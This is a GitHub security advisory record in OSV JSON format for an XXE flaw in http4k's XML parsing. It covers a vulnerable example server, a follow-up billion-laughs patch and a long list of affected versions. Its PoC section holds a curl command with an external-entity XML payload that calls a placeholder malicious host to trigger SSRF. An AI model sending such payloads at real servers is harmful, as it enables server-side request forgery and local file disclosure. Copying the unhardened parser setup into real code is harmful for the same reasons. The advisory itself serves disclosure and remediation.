{"id":"GHSA-7mj5-hjjj-8rgw","summary":"http4k has a potential XXE (XML External Entity Injection) vulnerability","details":"### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._\n\nThere is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\nhttps://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46\nXML contents is parsed with DocumentBuilder without security settings on or external entity enabled\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n#### Example Vulnerable server code:\n```\nimport org.http4k.core.*\nimport org.http4k.format.Xml.xml\nimport org.http4k.server.Netty\nimport org.http4k.server.asServer\nimport org.w3c.dom.Document\n\nfun main() {\n\n    val xmlLens = Body.xml().toLens()\n\n    // Create an HTTP handler\n    val app: HttpHandler = { request -\u003e\n        try {\n            // Parse the incoming XML payload to a Document object\n            val xmlDocument: Document = xmlLens(request)\n\n            // Extract root element name or other details from the XML\n            val rootElementName = xmlDocument.documentElement.nodeName\n\n            // Create a response XML based on the extracted information\n            val responseXml = \"\"\"\n                \u003cresponse\u003e\n                    \u003cmessage\u003eRoot element is: $rootElementName\u003c/message\u003e\n                \u003c/response\u003e\n            \"\"\".trimIndent()\n\n            // Respond with XML\n            Response(Status.OK).body(responseXml).header(\"Content-Type\", \"application/xml\")\n        } catch (e: Exception) {\n            // Handle invalid XML or other errors\n            Response(Status.BAD_REQUEST).body(\"Invalid XML: ${e.message}\")\n        }\n    }\n\n    // Start the server\n    val server = app.asServer(Netty(9000)).start()\n    println(\"Server started on http://localhost:9000\")\n}\n```\n#### Maven dependency:\n```\n\u003cdependencies\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.jetbrains.kotlin\u003c/groupId\u003e\n            \u003cartifactId\u003ekotlin-test-junit5\u003c/artifactId\u003e\n            \u003cversion\u003e1.9.0\u003c/version\u003e\n            \u003cscope\u003etest\u003c/scope\u003e\n        \u003c/dependency\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.junit.jupiter\u003c/groupId\u003e\n            \u003cartifactId\u003ejunit-jupiter-engine\u003c/artifactId\u003e\n            \u003cversion\u003e5.10.0\u003c/version\u003e\n            \u003cscope\u003etest\u003c/scope\u003e\n        \u003c/dependency\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.jetbrains.kotlin\u003c/groupId\u003e\n            \u003cartifactId\u003ekotlin-stdlib\u003c/artifactId\u003e\n            \u003cversion\u003e1.9.0\u003c/version\u003e\n        \u003c/dependency\u003e\n\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n            \u003cartifactId\u003ehttp4k-core\u003c/artifactId\u003e\n            \u003cversion\u003e5.40.0.0\u003c/version\u003e\n        \u003c/dependency\u003e\n\n        \u003c!-- Http4k XML format --\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n            \u003cartifactId\u003ehttp4k-format-xml\u003c/artifactId\u003e\n            \u003cversion\u003e5.40.0.0\u003c/version\u003e\n        \u003c/dependency\u003e\n\n        \u003c!-- http4k Netty --\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n            \u003cartifactId\u003ehttp4k-server-netty\u003c/artifactId\u003e\n            \u003cversion\u003e5.40.0.0\u003c/version\u003e\n        \u003c/dependency\u003e\n    \u003c/dependencies\u003e\n```\n#### Exploit payload example to trigger SSRF\n`curl -X POST http://localhost:9000 -H \"Content-Type: application/xml\" -d \"\u003c?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?\u003e\u003c!DOCTYPE root [\u003c!ENTITY xxe SYSTEM \\\"https://replace.with.your.malicious.website/poc\\\"\u003e]\u003e\u003croot\u003e&xxe;\u003c/root\u003e\"`\n\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nThe servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability\n\n### Follow-up patch — v6.50.0.0 (May 2026)\n\nThe original fix shipped in v5.41.0.0 / v4.50.0.0 closed the documented external-entity attack class (SSRF, local-file disclosure, code execution) by setting `ACCESS_EXTERNAL_DTD=\"\"`, `ACCESS_EXTERNAL_SCHEMA=\"\"`, and `isExpandEntityReferences=false` on the default `DocumentBuilderFactory`.\n\nA residual gap remained: the parser still **accepted** documents containing `\u003c!DOCTYPE\u003e` declarations even though external entity resolution was blocked. This left open billion-laughs-style internal entity expansion DoS attacks against any application using `Body.xml()` or `Document.asXmlDocument()` on untrusted XML.\n\n  **v6.50.0.0** closes this residual by adding `disallow-doctype-decl=true` and `FEATURE_SECURE_PROCESSING=true` to `defaultXmlParsingConfig`. Any document containing a `\u003c!DOCTYPE\u003e` is now rejected at parse time.\n\n#### Follow-up affected & fixed versions\n\n  | Version | Fixed Version |\n  |---------|---------------|\n  | `\u003e= 5.41.0.0, \u003c 6.50.0.0` | **6.50.0.0** |\n\nv6.x users should upgrade to v6.50.0.0. The patch is part of the v6.50.0.0 release; no separate backport is required for the v6 line. Older v5 / v4 users remain on the v5.41.0.0 / v4.50.0.0 fix (external-entity protection); the billion-laughs residual is fixed in those lines only via http4k EE LTS releases — contact [enterprise@http4k.org](mailto:enterprise@http4k.org) if you need it.\n\n#### Follow-up timeline\n\n  | Date/time (UTC) | Notes |\n  |-----------------|-------|\n  | 31/05/2026 17:12 | Follow-up patch merged (commit [`c0cfaf5d63`](https://github.com/http4k/http4k/commit/c0cfaf5d63)) with new tests for `\u003c!DOCTYPE\u003e` rejection and billion-laughs payload rejection |\n  | 31/05/2026 18:06 | http4k v6.50.0.0 released to Maven Central |","aliases":["CVE-2024-55875"],"modified":"2026-06-09T10:45:14.057577371Z","published":"2024-12-12T19:22:01Z","database_specific":{"github_reviewed_at":"2024-12-12T19:22:01Z","nvd_published_at":"2024-12-12T19:15:13Z","cwe_ids":["CWE-200","CWE-611","CWE-918"],"severity":"CRITICAL","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/http4k/http4k/security/advisories/GHSA-7mj5-hjjj-8rgw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-55875"},{"type":"WEB","url":"https://github.com/http4k/http4k/commit/35297adc6d6aca4951d50d8cdf17ff87a8b19fbc"},{"type":"PACKAGE","url":"https://github.com/http4k/http4k"},{"type":"WEB","url":"https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46"}],"affected":[{"package":{"name":"org.http4k:http4k-format-xml","ecosystem":"Maven","purl":"pkg:maven/org.http4k/http4k-format-xml"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.50.0.0"}]}],"versions":["2.25.1","2.25.4","2.26.0","2.26.1","2.26.2","2.27.0","2.27.1","2.27.2","2.28.0","2.29.0","2.29.1","2.29.2","2.29.3","2.29.4","2.30.0","2.31.0","2.31.1","2.31.2","2.31.3","2.31.4","2.32.0","2.33.0","2.33.1","2.34.0","2.35.0","2.35.1","2.36.0","2.37.0","2.38.0","2.38.1","3.0.0","3.0.1","3.1.0","3.1.1","3.1.2","3.1.3","3.10.0","3.100.0","3.102.0","3.102.1","3.103.0","3.105.0","3.108.0","3.109.0","3.11.0","3.11.1","3.110.0","3.111.0","3.112.0","3.112.1","3.112.2","3.113.0","3.114.0","3.115.0","3.115.1","3.116.0","3.117.0","3.118.0","3.119.0","3.12.0","3.120.0","3.121.0","3.122.0","3.123.0","3.124.0","3.125.0","3.126.0","3.127.0","3.128.0","3.129.0","3.13.3","3.13.4","3.130.0","3.131.0","3.132.0","3.133.0","3.134.0","3.135.0","3.137.0","3.137.1","3.138.0","3.138.1","3.139.0","3.14.0","3.14.1","3.140.0","3.141.0","3.142.0","3.143.0","3.143.1","3.144.0","3.145.0","3.146.0","3.147.0","3.148.0","3.149.0","3.15.0","3.150.0","3.151.0","3.152.0","3.153.0","3.154.0","3.154.1","3.155.0","3.156.0","3.157.0","3.157.1","3.158.0","3.158.1","3.159.0","3.16.0","3.160.0","3.160.1","3.161.0","3.162.0","3.164.0","3.165.0","3.166.0","3.166.1","3.167.0","3.168.0","3.17.0","3.17.1","3.171.0","3.172.0","3.174.0","3.175.0","3.177.0","3.179.0","3.179.1","3.18.0","3.18.1","3.180.0","3.182.0","3.183.0","3.185.0","3.186.0","3.187.0","3.188.0","3.189.0","3.19.0","3.190.0","3.191.0","3.192.0","3.193.0","3.193.1","3.194.0","3.195.0","3.195.1","3.196.0","3.197.0","3.198.0","3.199.0","3.199.1","3.2.1","3.2.2","3.2.3","3.20.0","3.200.0","3.201.0","3.202.0","3.203.0","3.204.0","3.205.0","3.206.0","3.207.0","3.209.0","3.21.1","3.21.2","3.210.0","3.211.0","3.212.0","3.213.0","3.214.0","3.215.0","3.216.0","3.218.0","3.219.0","3.22.2","3.22.4","3.220.0","3.221.0","3.222.0","3.223.0","3.224.0","3.225.0","3.226.0","3.227.0","3.23.0","3.23.1","3.230.0","3.231.0","3.232.0","3.234.0","3.235.0","3.237.0","3.238.0","3.239.0","3.24.0","3.240.0","3.241.0","3.242.0","3.243.0","3.245.0","3.245.1","3.246.0","3.248.0","3.25.0","3.251.0","3.252.0","3.253.0","3.254.0","3.255.0","3.256.0","3.257.0","3.258.0","3.259.0","3.26.0","3.26.1","3.26.2","3.26.3","3.26.4","3.26.5","3.26.6","3.260.0","3.261.0","3.262.0","3.263.0","3.264.0","3.265.0","3.266.0","3.268.0","3.269.0","3.270.0","3.271.0","3.272.0","3.273.0","3.274.0","3.275.0","3.276.0","3.277.0","3.278.0","3.279.0","3.28.0","3.281.0","3.283.0","3.283.1","3.284.0","3.285.0","3.285.1","3.285.2","3.29.0","3.3.0","3.3.1","3.31.0","3.32.0","3.32.1","3.33.0","3.33.1","3.33.2","3.34.0","3.34.1","3.34.2","3.35.0","3.35.1","3.35.2","3.36.0","3.36.1","3.37.0","3.37.1","3.38.0","3.38.1","3.39.1","3.39.2","3.39.3","3.4.0","3.5.0","3.5.1","3.6.0","3.6.1","3.7.0","3.8.0","3.9.0","3.93.4","3.94.0","3.94.1","3.95.0","3.95.1","3.98.0","3.99.0","4.0.0.0","4.1.0.0","4.1.1.1","4.1.1.2","4.1.2.0","4.1.2.1","4.10.0.0.0","4.10.0.1","4.10.1.0","4.11.0.0","4.11.0.1","4.12.0.0","4.12.0.1","4.12.1.0","4.12.2.0","4.12.3.0","4.12.3.1","4.13.0.0","4.13.1.0","4.13.3.0","4.13.4.0","4.14.0.0","4.14.1.0","4.14.1.1","4.14.1.2","4.14.1.3","4.14.1.4","4.15.0.0","4.16.0.0","4.16.1.0","4.16.2.0","4.16.3.0","4.17.0.0","4.17.1.0","4.17.2.0","4.17.3.0","4.17.4.0","4.17.5.0","4.17.6.0","4.17.7.0","4.17.8.0","4.17.9.0","4.18.0.0","4.19.0.0","4.19.1.0","4.19.2.0","4.19.3.0","4.19.4.0","4.19.5.0","4.2.0.0","4.20.0.0","4.20.1.0","4.20.2.0","4.21.0.0","4.21.1.0","4.21.1.1","4.22.0.0","4.22.0.1","4.23.0.0","4.24.0.0","4.25.0.0","4.25.1.0","4.25.10.0","4.25.10.1","4.25.11.0","4.25.12.0","4.25.13.0","4.25.14.0","4.25.15.0","4.25.16.0","4.25.16.1","4.25.16.2","4.25.2.0","4.25.3.0","4.25.4.0","4.25.4.1","4.25.5.0","4.25.5.1","4.25.5.2","4.25.6.0","4.25.7.0","4.25.8.0","4.25.9.0","4.26.0.0","4.27.0.0","4.27.1.0","4.27.2.0","4.27.3.0","4.27.4.0","4.28.0.0","4.28.1.0","4.28.2.0","4.29.0.0","4.29.1.0","4.3.0.0","4.3.2.0","4.3.2.1","4.3.2.2","4.3.3.0","4.3.4.0","4.3.4.1","4.3.5.1","4.3.5.2","4.3.5.3","4.3.5.4","4.30.0.0","4.30.10.0","4.30.2.0","4.30.2.1","4.30.3.0","4.30.4.0","4.30.5.0","4.30.6.0","4.30.7.0","4.30.8.0","4.30.9.0","4.31.0.0","4.32.0.0","4.32.1.0","4.32.2.0","4.32.3.0","4.32.4.0","4.33.0.0","4.33.1.0","4.33.2.0","4.33.2.1","4.33.3.0","4.34.0.0","4.34.0.1","4.34.0.2","4.34.0.3","4.34.0.4","4.34.1.0","4.34.2.0","4.34.3.0","4.34.3.1","4.34.4.0","4.35.0.0","4.35.1.0","4.35.2.0","4.35.3.0","4.35.4.0","4.36.0.0","4.37.0.0","4.38.0.0","4.38.0.1","4.39.0.0","4.4.0.0","4.4.0.1","4.4.1.0","4.4.2.0","4.40.0.0","4.40.1.0","4.40.2.0","4.41.0.0","4.41.1.0","4.41.1.1","4.41.2.0","4.41.3.0","4.41.4.0","4.42.0.0","4.42.1.0","4.43.0.0","4.43.1.0","4.44.0.0","4.44.1.0","4.45.0.0","4.46.0.0","4.47.1.0","4.47.2.0","4.48.0.0","4.48.2.0","4.5.0.0","4.5.0.1","4.6.0.0","4.7.0.0","4.7.0.1","4.7.0.2","4.7.1.0","4.8.0.0","4.8.1.0","4.8.2.0","4.9.0.0","4.9.0.1","4.9.0.2","4.9.1.0","4.9.10.0","4.9.2.0","4.9.3.0","4.9.3.1","4.9.4.0","4.9.5.0","4.9.6.0","4.9.7.0","4.9.8.0","4.9.9.0","5.0.0.0","5.1.0.0","5.1.1.0","5.1.1.1","5.1.2.0","5.1.2.1","5.10.0.0","5.10.1.0","5.10.2.0","5.10.3.0","5.10.4.0","5.10.5.0","5.10.6.0","5.10.7.0","5.11.0.0","5.11.1.0","5.12.0.0","5.12.1.0","5.12.2.0","5.12.2.1","5.13.0.0","5.13.0.1","5.13.1.0","5.13.2.0","5.13.4.0","5.13.4.1","5.13.5.0","5.13.6.0","5.13.6.1","5.13.7.0","5.13.8.0","5.13.9.0","5.14.0.0","5.14.1.0","5.14.2.0","5.14.4.0","5.14.5.0","5.15.0.0","5.16.0.0","5.16.1.0","5.16.2.0","5.17.0.0","5.18.1.0","5.18.2.0","5.19.0.0","5.2.0.0","5.2.1.0","5.20.0.0","5.21.0.0","5.21.1.0","5.21.2.0","5.22.0.0","5.23.0.0","5.24.0.0","5.24.1.0","5.25.0.0","5.26.0.0","5.26.1.0","5.27.0.0","5.28.0.0","5.28.1.0","5.29.0.0","5.3.0.0","5.30.0.0","5.30.1.0","5.31.0.0","5.31.1.0","5.32.0.0","5.32.1.0","5.32.2.0","5.32.3.0","5.32.4.0","5.33.0.0","5.33.0.1","5.33.1.0","5.34.0.0","5.34.1.0","5.35.0.0","5.35.1.0","5.35.2.0","5.35.3.0","5.35.4.0","5.35.5.0","5.36.0.0","5.37.0.0","5.37.1.0","5.37.1.1","5.38.0.0","5.39.0.0","5.4.0.0","5.4.1.0","5.40.0.0","5.41.0.0","5.42.0.0","5.43.0.0","5.44.0.0","5.44.1.0","5.44.2.0","5.44.3.0","5.45.0.0","5.45.1.0","5.45.2.0","5.46.0.0","5.47.0.0","5.5.0.0","5.6.0.0","5.6.1.0","5.6.2.0","5.6.2.1","5.6.3.0","5.6.4.0","5.6.5.0","5.7.1.0","5.7.2.0","5.7.3.0","5.7.4.0","5.7.5.0","5.8.0.0","5.8.1.0","5.8.2.0","5.8.3.0","5.8.4.0","5.8.5.0","5.8.5.1","5.8.6.0","5.9.0.0","6.0.0.0","6.0.1.0","6.1.0.0","6.1.0.1","6.10.0.0","6.10.1.0","6.10.2.0","6.11.0.0","6.11.1.0","6.12.0.0","6.13.0.0","6.14.0.0","6.15.0.0","6.15.0.1","6.15.1.0","6.16.0.0","6.17.0.0","6.18.0.1","6.18.1.0","6.19.0.0","6.2.0.0","6.20.0.0","6.20.0.1","6.20.0.2","6.20.0.3","6.20.1.0","6.20.2.0","6.20.2.1","6.21.0.0","6.21.1.0","6.22.0.0","6.23.0.0","6.23.1.0","6.24.0.0","6.24.1.0","6.25.0.0","6.25.1.0","6.26.0.0","6.26.1.0","6.27.0.0","6.28.0.0","6.28.1.0","6.29.0.0","6.30.0.0","6.30.1.0","6.31.0.0","6.31.1.0","6.32.0.0","6.33.0.0","6.34.0.0","6.35.0.0","6.36.0.0","6.37.0.0","6.38.0.0","6.39.0.0","6.39.1.0","6.4.0.0","6.4.1.0","6.40.0.0","6.40.1.0","6.41.0.0","6.42.0.0","6.43.0.0","6.44.0.0","6.45.0.0","6.45.1.0","6.46.0.0","6.46.1.0","6.47.0.0","6.47.1.0","6.47.2.0","6.48.0.0","6.49.0.0","6.5.0.0","6.5.1.0","6.5.2.0","6.5.3.0","6.5.4.0","6.5.5.0","6.5.5.1","6.5.6.0","6.5.6.1","6.6.0.0","6.6.0.1","6.6.1.0","6.7.0.0","6.8.0.0","6.8.1.0","6.9.0.0","6.9.1.0","6.9.2.0","v6.3.0.0","v6.4.1.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/12/GHSA-7mj5-hjjj-8rgw/GHSA-7mj5-hjjj-8rgw.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}